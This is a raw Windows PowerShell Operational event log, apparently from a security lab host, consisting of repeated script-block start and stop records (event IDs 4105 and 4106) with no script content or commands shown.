LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467799
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467798
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467797
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467796
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467795
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467794
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467793
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467792
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467791
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467790
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467789
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467788
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467787
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467786
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467785
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467784
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467783
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467782
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467781
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467780
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467779
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467778
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467777
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467776
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467775
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467774
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467773
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467772
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467771
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467770
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467769
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467768
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467767
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467766
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467765
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467764
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467763
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467762
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467761
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467760
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467759
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467758
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467757
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467756
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467755
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467754
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467753
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467752
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467751
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467750
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467749
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467748
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467747
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467746
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467745
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467744
Keywords=None
